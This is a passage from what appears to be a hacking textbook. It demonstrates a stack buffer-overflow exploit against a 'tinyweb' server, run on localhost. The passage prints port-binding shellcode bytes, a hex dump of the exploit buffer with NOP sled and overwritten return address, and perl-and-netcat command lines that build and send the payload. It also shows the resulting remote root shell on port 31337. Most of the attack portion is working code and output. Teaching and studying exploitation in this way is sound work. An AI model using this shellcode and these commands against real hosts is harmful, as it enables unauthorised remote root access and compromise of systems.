"\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f"

"\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"

"\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

// Port-binding shellcode on port 31337

When this exploit is compiled and run against a host running tinyweb server, the shellcode listens on port 31337 for a TCP connection. In the output below, a program called nc is used to connect to the shell. This program is netcat (nc for short), which works like that cat program but over the network. We can't just use telnet to connect since it automatically terminates all outgoing lines with '\r\n'. The output of this exploit is shown below. The -vvcommand-line option passed to netcat is just to make it more verbose.

reader@hacking:~/booksrc $ gcc tinyweb_exploit2.c

reader@hacking:~/booksrc $ ./a.out 127.0.0.1

Exploit buffer:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX.

31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX

43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV..

cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR

52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy

f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin..

52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................

0d 0a | ..

reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337

localhost [127.0.0.1] 31337 (?) open

whoami

root

ls -l /etc/passwd

-rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd

Even though the remote shell doesn't display a prompt, it still accepts commands and returns the output over the network.

A program like netcat can be used for many other things. It's designed to work like a console program, allowing standard input and output to be piped and redirected. Using netcat and the port-binding shellcode in a file, the same exploit can be carried out on the command line.

reader@hacking:~/booksrc $ wc -c portbinding_shellcode

92 portbinding_shellcode

reader@hacking:~/booksrc $ echo $((540+4 - 300 - 92))

152

reader@hacking:~/booksrc $ echo $((152 / 4))

38

reader@hacking:~/booksrc $ (perl -e 'print "\x90"x300';

> cat portbinding_shellcode

> perl -e 'print "\x88\xf6\xff\xbf"x38 . \r\n"')

"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ jfX␣1␣CRj j ␣␣ ␣␣jfXC

RfhzifS␣␣j QV␣␣ ␣fCCSV␣␣ ␣fCRRV␣␣ ␣j Y␣? Iy␣␣

Rh//shh/bin␣␣R␣␣S␣␣ ␣␣␣␣␣␣␣␣

"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

reader@hacking:~/booksrc $ (perl -e 'print "\x90"x300'; cat portbinding_shellcode;

perl -e 'print "\x88\xf6\xff\xbf"x38 . "\r\n"') | nc -v -w1 127.0.0.1 80

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ nc -v 127.0.0.1 31337

localhost [127.0.0.1] 31337 (?) open

whoami

root

In the output above, first the length of the port-binding shellcode is shown to be 92 bytes. The return address is found 540 bytes from the start of the buffer, so with a 300-byte NOP sled and 92 bytes of shellcode, there are 152 bytes to the return address overwrite. This means that if the target return address is repeated 38 times at the end of the buffer, the last one should do the overwrite. Finally, the buffer is terminated with '\r\n'. The commands that build the buffer are grouped with parentheses to pipe the buffer into netcat. netcat connects to the tinyweb program and sends the buffer. After the shellcode runs, netcat needs to be broken out of by pressing CTRL-C, since the original socket connection is still open. Then, netcat is used again to connect to the shell bound on port 31337.